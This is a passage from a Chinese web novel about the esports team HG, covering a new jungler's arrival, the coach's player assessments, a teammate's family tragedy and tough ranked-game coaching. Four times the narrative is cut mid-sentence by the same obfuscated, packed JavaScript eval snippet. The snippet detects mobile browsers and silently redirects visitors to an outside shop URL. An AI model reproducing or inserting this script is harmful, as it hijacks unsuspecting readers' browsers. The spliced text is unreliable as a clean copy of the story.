等众人在包间落座,刘国柱连菜单都没看,对服务员不喘气报出将近二十种肉类,然后挥挥手说:“先这样吧,后面再加。” 廖望延听着肉名就胃里发腻,不禁问道:“全是肉?不点别的?” 刘国柱这才反应过来席间多了一位从来没一起吃过饭的人。 他挠了挠头:“嘿嘿,忘了忘了,我们出来吃饭很少点别的,服务员,把菜单给这个帅哥,让他点。” 廖望延翻了半天,点了口蘑和金针菇,还点了两个甜品,将菜单还给服务员。 待服务员轻轻关上包间房门,刘国柱将自己面前的杯子倒满可乐,唤着众人:“今天是Mesh来咱们HG第一天,来来来,都举起杯,咱们碰一个!” 众人将杯子倒满饮料,伸着胳膊碰杯。 颜色各异的饮料杯碰在一起发出连续的脆响,倒得过满的杯子被撞击后溅出零星水液,顺着杯壁向下流淌,最终滴落在铁板里冒出滋滋的蒸发声。 举着杯子的人们不甚整齐却充满活力地高呼:“欢迎HG.Mesh!” 这顿饭从晚上7点半吃到11点。 廖望延早在中途就停了筷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445221|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睁睁看着其他几人继续吃了一个多小时,暗自感叹人比人没法比。 众人打着嗝从烤肉店离开,回到基地已经0点。 老姚上楼前突然停下脚步,对着廖望延说:“Mesh,明天我来找你,咱们沟通一下训练计划。” “反正我现在也睡不着,姚哥你如果也有空的话,要不咱们现在就谈吧。”廖望延提议道。 “也行,那15分钟以后咱们会议室见。”老姚想了想应允下。 廖望延点点头,回房简单冲了个澡,肩膀上挂着毛巾趿拉着拖鞋进了会议室。 老姚已经在会议室里整理文件了,见他进来将几张纸推到他面前,招呼着他坐下:“来,你看一下,这是咱们队里其他几人的善用英雄和游戏习惯分析,钟络的也在里面,我想着虽然你们同位置,但多了解一些总归没坏处。” “我是这样想的,咱们把时间尽量收紧,明天开始你就找人双排,或者叫着他们打灵活也可以。等你熟悉整个队伍节奏之后,我就可以开始联系其他队伍约训练赛了。这段日子内我会给你准备个全英雄小号,在战队发公告宣布你进队前你就用这个号训练,等公告发出来你就可以用自己的大号了。” 廖望延点点头,认真看着A4纸。 老姚喝了口水继续说:“你最近先不要直播,他们直播的时候我也会叮嘱不要把你露出来,但你自己也注意一下,公告没出来之前咱们尽量保持点神秘感,国柱就等着公告一发你的粉丝们给战队号涨粉呢。” 廖望延用毛巾擦了擦头,翻看着纸张问老姚:“姚哥,你觉得咱们队伍现在最需要解决的问题有什么?” “莽,上头。我需要你在了解他们之后给他们每个人套上绳子,牵住他们,让他们在上头期冷静下来学会运营。” 老姚指着纸上的名字,每指一个就说出一个问题:“邵乖,排斥抗压类英雄,对位追求单杀,容易被抓。” “于琰,暂时问题不大,但是游走率不高,就算游走也容易慢人一步。” “左星水,和邵乖一个毛病,激进类追求单杀,容易被抓。” “吴醒,问题不大,但是我需要你调动起他的游戏积极性,他能比现在更强。” 廖望延看着密密麻麻的个人分析陷入思考,老姚将钟络的纸张放在最上面开口:“钟络,偏工具人型打野,状态不稳定,心态差,抗压力弱,容易犹豫不决送出优势,他的问题是现在队伍里最大的,这也是为什么买下你的原因。” 廖望延挑挑眉:“我能问一下吗,他状态不稳定有什么具体原因吗?” 老姚叹了口气:“年初他妈出车祸,当时正要上场打BO3最后一局,没替补就只能硬逼着他上场,最后输的有点难看,他有阴影我能理解,但是队伍不能一直这么等他。” “行,我明白了,这些资料我带回去研究一下,明天开始训练。”廖望延没再多问。 “ok,那就到这,有什么事你再随时叫我。” 二人出了会议室各回各屋,廖望延靠在床头翻看着手里的资料。 灯一直亮到凌晨三点。 11. Chapter11 早上七点的T市机场。 钟络将父母和妹妹的行李从出租车后备箱拿出来放上台阶,又将自己特意买的T市特产递给妹妹钟晴。 合上后备箱门看着出租车驶离,他转回视线看着家人:“给你们买了点茶叶还有糕点,糕点的保质期不长,回去记得尽快吃。妈,我还往你的背包里放了保健品和护膝,你回去记得用。” 钟晴点点头,钟络的妈妈将行李递给自己身边的老伴,收获一声冷哼后自己一瘸一拐地走到钟络面前。 钟络的妈妈年初出了车祸,刹车失灵的轿车以远超市区规定的速度撞上骑着电动车的她,左腿粉碎性骨折,其余部位也有轻重不一的伤势。 那时幸亏好心的路人及时报警将她送进医院,后来医生说,如果再晚一两个小时可能就要考虑截肢了。 发生事故的当天钟络正在进行春季赛的一场关键局,当时双方bo3战至1-1,HG将比分扳平。 当钟络正在休息间喝水听着老姚的分析时,刘国柱推门而入,眼睛四处逡巡,在发现钟络时目光停下。 刘国柱嗫嚅着开口:“Clock,你出来一下。” 钟络放下自己的水杯,跟在刘国柱身后关上门问:“怎么了刘哥?” 刘国柱很少展露这种踌躇着不知道该不该讲的表情,大多数时候他都是脸上带着笑跟大家对话的,钟络心里升起了不好的预感。 最终刘国柱还是下定决心开口:“刚刚你家里人来电话,出于对你隐私的尊重我没有擅自接起来,但她连续打了很多个,我怕是有什么急事就替你接了,电话里……你妹妹在电话里说你妈妈出车祸了,现在正在医院急救。” 钟络自然下垂的双手猛然捏起,立刻就想转身回休息室拿手机打电话。 刘国柱拦住他焦急地说:“我知道你很着急,但是最后一场比赛还得打完,咱们没有替补,这场比赛只能你上。我已经给你买好了机票,晚上7点半出发,等你打完就可以收拾东西过去。” 钟络已经放在门把手上的手紧紧攥起,脑子里已然一团浆糊。 比赛不出所料的输了。 钟络的表现很差,赛场上选出的皇子全场梦游,他已经在全力克制自己不出错了,但仍旧无法保证自己的游戏水准。 比赛打完后他甚至没有时间给自己的队友说声抱歉,连自己的键盘和鼠标都来不及收就抓起手机打车前往机场。 等用最快的速度赶到医院,钟络妈妈的手术已经做完了,他在病房门口看见了自己的爸爸和钟晴。 钟络爸爸看见他跑过来,一个扬手扔出自己手里的手机,手机的尖角撞到钟络的额头,几乎是瞬间就红了一块。 他来不及管自己,只急切地问:“妈怎么样了?” 钟络爸爸大声喊道:“你还知道你有个妈?你就打你那个破游戏吧,你妈的死活用不着你管,她也不配有你这么个好儿子!” 还是一旁的钟晴拦住了他:“爸,小点声,医院不让大声喧哗。哥,妈手术挺成功的,你别担心,最严重的就是左腿粉碎性骨折,但是命已经保住了。” 钟络听见妹妹的话才松了一口气,双腿发软蹲在地上。 低着的头茫然地看着医院地上的白瓷砖,他又听见父亲讥讽:“现在来装什么好儿子?放着好好的学不上,非要去打游戏,美名其曰什么电竞,我呸!不学无术还要给自己找个好理由,你妈出事都不能在身边陪着,赶紧回去为国争光吧,我们这个小家比不上你的大志向!” 他听见钟晴的阻拦,听见拦不住的伤人的话,听见陌生人的脚步声与其他敞着门的病房里的家长里短,也感受到医院走廊里其他人的目光。 钟络不禁想:难道真的是我错了? 经过钟晴的劝导,钟络爸爸终于不再说话,也不阻拦钟络进病房,只冷眼看着他。 仿佛面前的不是他的儿子,而是导致发生这件事的主要负责人。 术后第六天,钟络妈妈躺在病床上和钟络说话。 “小仔,你不用回去吗?你还有比赛吧。” “没事,妈,队里已经让其他人补上了,我多陪你几天。” “真的可以吗?那太好了。” “嗯,妈你别担心,都解决好了。” 钟络坐在椅子上垂眼给妈妈削苹果,只口不提自己离开后二队打野临危上阵输的两场比赛。 临时被揪上赛场,二队的小伙子也很焦躁,和主力队员从来没有过磨合,只能当作跟平时一样打,可这种水准怎么和默契的专业队伍相媲美呢。 他能力跟不上,被网上喷得体无完肤。 【李涛:HG能进季后赛吗?】 【就HG现在的表现还想着季后赛呢?快别出来搞笑了,那打野捞的,我奶奶上都能和他五五开。】 【他们队的打野不是还可以吗?这几天没看比赛,出啥事了?】 【都是废物,大捞比一礼拜之前皇子玩的和屎一样,据说是家里有事得请半个月假,就把二队的小捞比提上来打了。】 【要是季后赛都进不去那可太丢人了吧,HG明年还不得全员重组?】 【那倒不至于吧,其他四个人表现其实挺好的,Weirdo、Shark、Mercury、Nap都挺有操作的,但是新打野确实不行。】 【别光说新打野,Clock也真一般好吧。】 钟络一边愧疚于连续输了好几场比赛的队友,一边忧心于自己的母亲,身边还有父亲时不时的冷嘲热讽和妹妹无意识间冒出来的抱怨眼神。 半个月,他瘦了一大圈。 等到假期的最后一天,钟络找了个只有自己和母亲在的时间,无奈地说:“妈,我晚上就得走了,队里只批了半个月的假,我不能继续陪你了。” 她着看他:“我知道你这半个月也不好过,一天只吃一顿饭,一问你就是不饿。现在我恢复的挺好,医生说只要坚持复健,还是有很大可能完全康复的,你就不用担心我了。” 她抿抿嘴唇又说:“别怪你爸,你当初明明学习成绩好,却非要拧着性子去打游戏,他思想古板接受不了很正常,但我发现过他偷偷让你妹妹给他放你的比赛,他心里是在乎你的。” 钟络笑笑:“我知道,我不会往心里去的。” “那就好,那就好,快收拾收拾东西准备回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445222|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去吧。” 临走前钟络想和父亲道个别,却被他厉声拒绝:“你要去打游戏之前我就说过,如果你非要选这条路,就当没有我这个爸,现在这句话依然有效,不需要和我说那些虚头八脑的东西,我也不想听。” 钟络只好作罢,从ATM机取出不少钱用袋子装着递给钟晴:“哥得走了,爸妈年纪大了不会用手机支付,这是我取的钱,他们需要什么就买什么,别省着。” 钟晴点点头,犹豫了一下问他:“哥,就非得打电竞吗?” 钟络愣了一下,笑着回:“你的梦想是警察,我也有我的梦想啊。” 回到T市的钟络终于结束了HG连败的赛果,虽然后半段仍然赢赢输输,但起码不是局势一边倒的情况了。 最后HG以春季赛第八的成绩挤进季后赛,却也止步于季后赛。 钟络开始疯狂给自己加练,别人训练八个小时,他就十个小时,别人直播他训练,别人吃饭他训练,别人睡觉他还在训练。 就这么到了现在。 或许是年初的事情给钟络造成了阴影,导致他不管rank和训练赛打得多好,一到比赛场上就容易失去节奏。 老姚只好让于琰进行指挥,让钟络做一个指哪打哪的工具型打野。 钟络的妈妈站在自己儿子的面前,经过大半年的复健她已经能做到出行无碍了,只是那场车祸给她膝盖造成的创伤太大,现在还是有些跛脚,只能继续坚持做复健争取达到正常人的水准。 “小仔,爸爸妈妈和妹妹这次来,除了旅游更想看看你过的怎么样。看到你现在过的好妈妈就放心了,不要担心家里,一切都好。”钟络妈妈开口说。 她抓起钟络的手拍了两下,温度传递到钟络的指尖,他无意识地蜷了蜷。 “好了,我们进去了,你也赶紧回去吧,到家我们会给你打电话的。对了,昨天和你说的事别忘了。”钟络妈妈转身拿回放在自己老公手里的行李包说。 钟络涩声答了句“好”,目视着他们背对自己往航站楼里走。 父亲如同自己不存在一样和身边的妻子抱怨:“冷死了,在外面待那么久,就显得你是好人了是吧。” “你就嘴硬吧,硬得和石头一样。” “你和爸过这么多年还没习惯呢?” 三人交谈的声音随着风吹进钟络的耳朵,由大变小,由小变无。 妈妈和妹妹在进去之前转身朝自己挥手,钟络也故作轻松地回了回,嘴角扯起笑容,看着他们消失在自己的视线中。 等终于看不见三人的身影,钟络放下以不自然角度扬起的嘴角,看着偌大平台内其他人或匆忙或悠闲的脚步,他面无表情转身给自己打了个车。 带着一身寒气回到基地时,时间才不到八点,整个基地安静得掉下一根针都能听见。 钟络给自己热了杯牛奶,撑着餐台看窗外的景色出神。 正当他的思绪飘向隔着T市几千里的Z市,身后有人操着刚起床还沙哑着的嗓子唤他:“这么早就回来了?” 钟络垂下眼,喝了一口经过十几分钟放置已经有些凉的牛奶,背着身回:“延哥,你也挺早的。” 12. Chapter12 “也不算早,我这人有点择床。”廖望延打着哈欠回。 “多住几天就好了,今天什么安排?” 钟络将手里的杯子重新放回微波炉,看着里面亮起红光,状似随意地问。 “下午开始训练,宜早不宜晚。”廖望延边冲咖啡边回。 “也是,有和刘哥商量好什么时候发公告了吗?” 廖望延扭了扭脖子:“不着急,早晚的事。” 钟络点点头,转过身靠在餐台边看着他:“延哥,有个事想问你。前几天你我于琰三个人吃饭,你说不满意于琰现在的成绩,是当时就已经有来HG的想法了吗?” 廖望延心想:等半天了,终于问到正事了。 握着杯子走到沙发坐下,廖望延轻抿一口咖啡,被热度烫得缩了一下,将杯子放回到矮桌上懒散地回:“不是。” 他仰躺在沙发靠背上继续说:“我知道你现在的心情比较复杂,但和你们吃饭的时候我确实还没想好要来,所以也就没和你们提。” 其实廖望延钻了个空子。 钟络的问题有漏洞。 如果钟络问的不是那顿饭的时候,而是问的是不是为于琰而来,他可能还要费一番功夫编个小谎,可惜钟络问得太过局限。 虽然他不怎么喜欢撒谎,但莫名有种趋利避害的直觉告诉他,在这个问题上最好把重点模糊掉,不然免不了被已经有些敏感的钟络察觉出更多东西。 虽然没做什么见不得人的事,但刚入队就给自己埋个隐藏炸弹这种蠢事,他觉得还是尽量避免为好。 似乎觉得自己还应该说点什么,廖望延用指尖摩挲了两下沙发布料。 “你也不用有太大压力,正常训练就好。电子竞技实力说话,当你有比我强的实力时我也不介意坐一坐饮水机位,能把我压在替补是一件很值得兴奋的事,不是吗?” 钟络打开微波炉门拿出重新热好的牛奶,吹了吹杯口向上散发的热气:“虽然我一定会说我会竭尽所能,但延哥你这鸡汤灌得也属实没有味道。” 廖望延笑了:“有没有味道不重要,只要能管用就行。” 起身将烫嘴的咖啡倒进水池里,冲净杯子倒扣放在沥水篮,廖望延甩了甩手上的水滴:“这速溶也太难喝了,怪不得你喝牛奶。” 用衣角将手擦干,他捞起随手扔在沙发上的运动外套对钟络摆了摆手:“我先出去慢跑了,一会见。” 屋内重新回归安静。 看着被合上的入户门,钟络转身将手里热了第二次还没怎么喝的牛奶也倒进水池,转身上了楼。 餐台沥水篮里,两个挂着水珠的杯子一左上一右下,泾渭分明。 等廖望延慢跑了一个小时回到基地,屋内和离开时并无什么区别,照样看不到一个人影。 回房将粘腻的汗液冲洗净,廖望延抓起手机,经理刘国柱已经将他拉进了HG队员群。 看着相亲相爱一家人这个群名,廖望延第一次有了退群的冲动。 他一个个点开群成员,一个个发送好友验证,看着一个个极具个人特色的网名和头像,萌生了第二次想退群的冲动。 他将手机息屏揣进裤兜,抱着外设下楼去训练室调试机子。 直到上午11点半左右,他将所有设备调试好,已经打完一把单排正在排第二把了,才听见有人推门进来的声音。 廖望延合理怀疑这个时间点起床,就是为了无缝衔接午饭。 于琰打着哈欠趴在他电竞椅靠背上,用额头顶着他的后脑勺,恹恹地问:“这么早就训练了?这就是冠军的觉悟吗?佩服佩服。” 廖望延挪动着鼠标预选出艾克,一楼ban掉琪亚娜,趁着队友ban人的时候扭身将凉咖啡贴在于琰脸上。 于琰被冻得打了个激灵,瞬间清醒。 揪了揪廖望延扎在脑后像小兔尾巴的头发以示不满,听着他不耐烦的一声“啧”,于琰心满意足地离开训练室,走之前还不忘了让廖望延帮忙把自己电脑开机。 廖望延的这把单排用时26分钟,以打野艾克抓崩对面三路而结束。 他直起身子伸了个懒腰,走到于琰电脑前按下开机键,看着他桌子上除了零食就是周边,把耳机都挤得只能挂在显示屏上,无奈地叹了口气,开始当起了免费的家政阿姨。 于琰第二次进训练室是来叫廖望延吃饭。 话还没等说出口,就看见自己的桌子大变样。 看着廖望延正在自己电脑前用酒精棉片擦手,于琰用手指比了个下跪的动作,诚心诚意道:“延哥,我替我的桌子给你下跪了,它说它已经很久没见到过这么干净的自己了。” 廖望延将湿巾扔进垃圾桶,轻嗤一声:“出息。” “嘿嘿,走吧走吧,先别rank了,吃完再一块打。” 于琰扯着他的袖子将他往外带,其实于琰并没用力,他只要轻轻一扫就能扫开,但廖望延还是顺从地跟着出了门。 吃过午饭后大家都汇入训练室,吵吵闹闹不复上午的安静。 老姚拍了拍手里的本子,示意大家有话要说,众人停下手里的事情安静看着他。 “我和Mesh已经沟通过了,今天他就开始训练,可能在未来的半个月内会找你们双排或者一起灵活,你们要全力配合他。” “还有,你们直播的时候一定要注意,不要把Mesh露出来,在战队微博发公告前不要暴露任何消息,如果有水友问你们Mesh的小号就统一口径新队员,其他不要多说。” “知道了。” “好嘞。” 众人应声,老姚又将视线转向廖望延:“Mesh,有什么事随时和我沟通。” 廖望延点点头,拍拍于琰的肩膀:“来双排。” 钟络闻言顿了顿,移开刚想邀请于琰的鼠标。 “来来来,今天我就让你知道FLY比我差了多少。”于琰邀请廖望延的小号进房,喝了口咖啡,跃跃欲试。 排了几分钟终于凑齐路人队友,廖望延二楼预选皇子,于琰五楼刚想预选妖姬,就被廖望延拦下。 “选加里奥。” 于琰满心不情愿:“不想玩加里奥,我想玩刺客。” “让你玩就玩,哪那么多话。” 于琰只好选下,用桌子上的迷你手办扔廖望延:“刚来就想当队霸?双排都不让我玩想玩的。 ” 给廖望延扣了好大一顶帽子。 其实于琰还真误会了。 廖望延看资料一直看到深夜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445223|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于琰的短板了解得很清楚。 于琰这个人喜欢操作喜欢秀,技术和反应都是顶尖,但他就喜欢赖在中路。 让他选加里奥这种英雄,一是因为这个英雄的技能机制适合帮助队友形成以多打少局面造就优势,二也能逼迫于琰习惯游走。 于琰英雄池不浅,赛场上他能聚精会神做到的事情,廖望延要求他日常训练中也做到。 “少赖在你那个中路生蛆,多关注我,让你来的时候就得跟我来。” 廖望延淡淡开口。 于琰买好出门装备跟随大部队往红buff走,他们这局的辅助是锤石,可以进行一级团的设计。 众人跟随锤石标记从红buff绕到下路三角草,等了几秒发现对面红色方辅助日女往自家草丛插了个保守假眼。 锤石闪现加勾,预判到日女走位成功勾中,其余人跟上后续输出,AD拿到一血人头。 于琰的加里奥慢悠悠回到线上,开始和永恩和谐补刀。 廖望延皇子刷到三级埋伏在中路草丛,于琰见势EW控住永恩接上平A被动和Q,永恩见势想闪,却被EQ闪的皇子成功截下,廖望延成功帮于琰拿下人头。 于琰美滋滋清完兵回家正补给装备,就听见廖望延指挥他:“TP清完兵绕过来跟我gank上路。” 于琰对着电脑撇撇嘴,老姚既然都发话了,自己还玩了个这种英雄,那只能他说什么是什么咯。 后面的20分钟,于琰听见了无数次和这句话相同的话。 “跟我来,往下路靠,打起来给我大。” “跟我来上路。” “跟我去他们红buff野区。” “跟我……” 游戏以摧枯拉朽之势赢下,于琰退出来的时候脑子里还全是跟我来跟我来。 他让廖望延等着,自己拿着杯子准备再去冲杯咖啡。 笑话,这么玩谁不困啊。 出了训练室正在餐厅拿速溶咖啡的时候,于琰听见屋外花园里钟络的声音。 他停下手里的事,竖起耳朵仔细偷听。 “到了就行,妈你的腿没事吧?” “还没,我回来就睡了,忘了加。” “妈,没必要吧,我现在训练很忙,不想谈这些。” “我才21啊妈,我真不着急。” “好好好,一会挂了电话就加好不好,但我事先声明,加可以,但是以谈恋爱为前提的聊天不行。” “嗯,你们休息吧。” 于琰手掌扣着杯子,将这通电话听了个满。 如果是其他的人,他其实不屑于听墙角,但昨天他就猜到了钟络有事瞒着他。 果然。 虽然听不到电话对面的人都说了什么,但仅凭钟络的回话,也能猜到个大概。 于琰不傻,他只是不喜欢往心里藏事,他嫌累。 装作什么都没听见,于琰将冲好的咖啡杯带回训练室,听着廖望延让自己继续玩加里奥的时候,他轻轻开口:“这把想玩阿卡丽。” 廖望延挑起眉,扭头刚想说话就看见于琰面无表情的脸。 他收回想说的话,将视线转回到自己的屏幕,将预选的波比换成卡兹克,淡淡地说:“玩。” 13. Chapter13 这把游戏廖望延没多说一个字,全程配合于琰将对面杀穿。 赛后战绩显示廖望延的卡兹克9-2-9,于琰的阿卡丽16-1-2。 于琰退出游戏,偷偷和廖望延打商量:“咱俩做个交易呗,我玩会贪吃蛇,你帮我看着点门口,老姚进来你及时提醒我。作为交换,从明天开始算,后面的一个礼拜你让我玩什么我就玩什么。” 廖望延心想这买卖挺划算,却又在嘴上跟于琰划价:“那你想玩多久,一个小时也是玩,八个小时也是玩,我得判断一下这个交易合不合适。” “唔……三个小时怎么样?” “成交。” 于琰安心打开贪吃蛇,廖望延则是离座走到左星水和吴醒的后面看他们打游戏。 他们两个搭档了两年,配合度没得说。说得夸大一点,有时候只需要对方一个走位,他们就能知道下一步该压还是该撤。 这把二人玩的是著名情侣组合——霞、洛。 廖望延在二人身后看了整场,游戏38分钟结束,在排位里已经算时间很长的了。 确实如老姚所说,左星水的游戏风格与平时的日常相处截然不同。 平时左星水就像是个温和的老父亲,说话做事永远慢条斯理,永远包容所有人的小打小闹,游戏中他却不允许对面多看自己一眼。 虽然现有版本AD稍显式微,但他却强势得不像大多数人,明明丝血了却还敢反手回打,满血时更是仗着身边有Nap肆无忌惮。 廖望延一开始还不明白老姚对Nap的评价,看完这场游戏后他总算理解了一点。 吴醒不是不强,是不想动脑子。 左星水让他怎么做他就怎么做,他乐于被别人安排着行动,因为这样就不需要自己费太多脑细胞。 廖望延能理解选手在日常rank和真正赛事上肯定会有不少区别,但如果能在平时训练里就调动起Nap的积极性,到赛场上时他就一定能给出所有人惊艳的表现,而不是如现在的成绩一样激不起水花。 看着二人又排进下一把游戏,廖望延提出建议:“Nap,会玩派克吗?” 吴醒打了个哈欠点了点头,在四楼预选下派克,左星水问:“有什么想看我玩的英雄吗?” 廖望延摇摇头:“水哥你想玩什么就玩什么,但我想看Nap指挥你一把。” 吴醒第二个哈欠因为这句话半路夭折,他张着嘴扭头用不可思议的目光看廖望延:“谁要指挥?我要干啥?我要指挥谁?谁要被我指挥?” 廖望延认真地点头:“你没听错,而且除了指挥,我还想看见你配合路人打野野辅双游。” “没必要吧延哥,队里以前不管是钟哥还是于琰又或者是水哥都能指挥,我没干过这种事,我不会啊,你别难为我了呗?” “反正是rank你怕什么,大不了掉点分,一两把就回来了。”廖望延看着Nap的苦瓜脸不为所动。 刚才的于琰,现在的吴醒。 一旁正在开心贪吃蛇的于琰对吴醒投以一个同类相惜的表情。 还没等他收回视线,训练室的门被钟络推开,于琰的表情瞬间从生动变为死水。 廖望延看了个满眼,不禁挑了挑眉。 钟络回到自己的位置上也没打开游戏,而是低头抱着手机不停在敲打着什么。 训练室形成了一个以吴醒开始到钟络结束的眼神小火车。 吴醒看廖望延,廖望延看于琰,于琰看钟络,钟络……看手机。 刚结束一场酣畅淋漓的游戏,邵乖扯下耳机,看着众人间奇怪的气氛疑惑开口:“怎么个意思?演电视剧呢?我爱你你爱他他爱他他爱她?” 于琰收回放在钟络身上的视线,朝邵乖翻了个白眼:“有时间看这些狗血爱情剧,没时间练新英雄是吧,安蓓萨玩明白了吗?” “小小新英雄,邵公子一出手,简单拿捏。不是,你凭什么教训我啊,你训练时间玩贪吃蛇小心我告到老姚那扣你钱!” 伴随着于琰邵乖的吵架声,Nap眼含热泪地操控着派克上线。 “别把自己当成辅助,把自己当成中路。”廖望延早已收回放在于琰身上的视线,对着Nap淡淡开口。 “等什么呢?我说了这把让你带动水哥,你刚才浪费了个很好的机会。” “对面双人路回家了,你可以配合打野去抓中,为什么要回家?” “下路水哥自己能抗压,你去游走。” “这波做的不错。” “不禁夸是吧,水哥你别说话,让他自己判断。” “为什么不提醒水哥他有点上头?还是你自己也没发现?” 廖望延不含一丝感情的声音环绕在训练室内,二十分钟前还在吵架的邵乖和于琰早已老老实实闭嘴当哑巴。 等这局排位打完,Nap觉得自己已经失去了灵魂。 虽然赢了,但好像输了。 Nap和于琰一样,申请中场暂停,搂着自己的水杯趴在桌上装死尸。 廖望延决定给他一点缓和的时间,扭头和目无定点的邵乖对上眼神,他对邵乖展露出一个假笑—— “到你了,邵乖。” 到了晚饭时间,除去廖望延、钟络、左星水外,剩余三人皆像被抽去了灵魂。 老姚推门进训练室时,这三个人都靠在椅子上眼神直直看着天花板。 “干嘛呢?不训练偷懒是吧!”老姚正想发作。 被呵斥的几人将闪烁着愤怒的眼睛对准他,硬是逼得老姚吞下了刚要开口的话。 “不是,干嘛这个眼神看着我啊?你们连跪了?还是被喷了?” 老姚的话掉在地上没人接,廖望延微笑着解释:“也没什么,下午和他们三个进行了友好的交流,对吗?” 他用威胁的眼神看着三人,三人触及到他的目光像三只小鹌鹑一样瑟瑟发抖,只好昧着良心开口。 “是,延哥的游戏经验让我受益匪浅。” “对对对,咱们战队买了Mesh真是做得最对的决定。” “啊?啊……对。” 老姚这才放下心,招呼着众人去餐厅吃饭。 饭桌上三人像饿狼扑食一样,老姚怕他们吃得太快呛到,还得停下筷子劝三人:“你们三个中午吃的也不少啊,怎么和八辈子没吃过饭一样,慢点!” 廖望延咽下嘴里的饭菜欣然开口:“看来你们都很喜欢我的融入方式,那一会吃完我们就继续吧。” 于琰:“……” 邵乖:“……” 吴醒:“……” 三人像是被按下了暂停键,老姚劝了半天没能见效的事被廖望延一句话解决。 还是于琰磕磕巴巴开了口,想为自己争取今天最后几个小时的人权。 “那个……阿延,咱们晚上就别继续了,明天再说呗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445224|154007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “明天?可以啊,刚好咱们两个约好了,未来一星期你的英雄由我决定。”廖望延坦然开口。 于琰这才想起来下午二人签署的不平等条约。 廖望延这个狗东西,明知道老姚今天下午有私事要出门不会出现在训练室,却还要应下自己,让自己心惊胆战地玩了三个小时贪吃蛇。 这个老狗比心黑透了! 但是于琰又不能当着老姚的面说出实情,只能咬牙切齿地应下:“行,都由你决定,能让你带我进步真是我的荣幸,哈!哈!” “Mesh,那吃完饭就让他们自行训练,咱们两个去会议室沟通一下今天的训练成果?” 老姚边吃饭边问廖望延,收获到了一个王の应允。 饭后廖望延带着自己的本子随老姚进了会议室,没等老姚开口问,自己就像机关枪一样开始突突。 “今天下午我和于琰双排了一把,你说的没错,他游走意识不强,明天开始我会着重关注他这一点。” “关于邵乖和左星水,其实我觉得不能太过于打压他们喜欢莽的性格,因为团队里就需要这样的人来激发血性,只不过他们两个不能同时这样做,比赛只能择其一释放天性。” “当然了,不管选择的是不是邵乖,他都必须得接受自己日后会经常被要求选择抗压类英雄,这是没得争论的事情,队伍配置不可能由着个人喜好来决定。下午我逼着他玩了一把奥恩,跟要了他命一样,这样肯定不行。” “关于Nap,既然懒,那就用鞭子在后面抽着,要么动起来要么就挨骂。” “还有这点……” “哦对了还有这方面……” 老姚愣愣地看着廖望延,进会议室快半小时了,他一个字都还没说呢。 等廖望延将自己本子上最后记录的东西都说完,长舒了一口气,对老姚摆了个请的手势,示意他可以发言了。 老姚清了清嗓:“那个……” “emmm……我觉得你说的挺好的。” 老姚对这半小时的工作汇报很满意,感觉像是自己身边坐的不是新打野,而是副教练。 “其实你说的这些在之前我都有尝试过,但因为我作为教练而不是队员不能时时刻刻在场上束缚他们,导致成效一直不高。” “其实我也不想太过于改变他们的游戏天性,但是如果能在保留天性的方式下提升个人水平,那么你做的一切我都会无条件支持,这点你不用担心。” 老姚给廖望延吃了颗定心丸。 HG是怎么样的他最清楚,队伍里的孩子没有一个是弱者,不然不会走到现在这个位置。 用一句老话来说,路人王只是见职业选手的敲门砖罢了。 他们每个人都是从路人王时期过来的,经过联赛的百般捶打还能保留现在的血性,老姚其实并不否定,但战队是需要成绩傍身的,去年的季后赛第八,今年的季后赛第五都让老板们感到不满,老姚和刘国柱只能硬逼着他们做出改变。 “有姚哥你这句话我就放心了,如果我有什么做得比较不好的地方,也希望姚哥你能及时告诉我。” 廖望延希望HG好,准确来说是希望于琰好,所以他才会以最严厉的姿态面对几位新队友。 “行,没问题,那咱们今天就聊到这。” 二人并肩下楼推开训练室门的那一刻,于琰邵乖吴醒三人均感觉到后背冒出一阵凉风。 14. Chapter14 于琰度过了及其充实的一周。 具体表现为:被廖望延硬逼着选了一星期的游走英雄,譬如加里奥、卡牌、丽桑卓等等。 什么好游走选什么,什么能帮队友建立优势选什么。 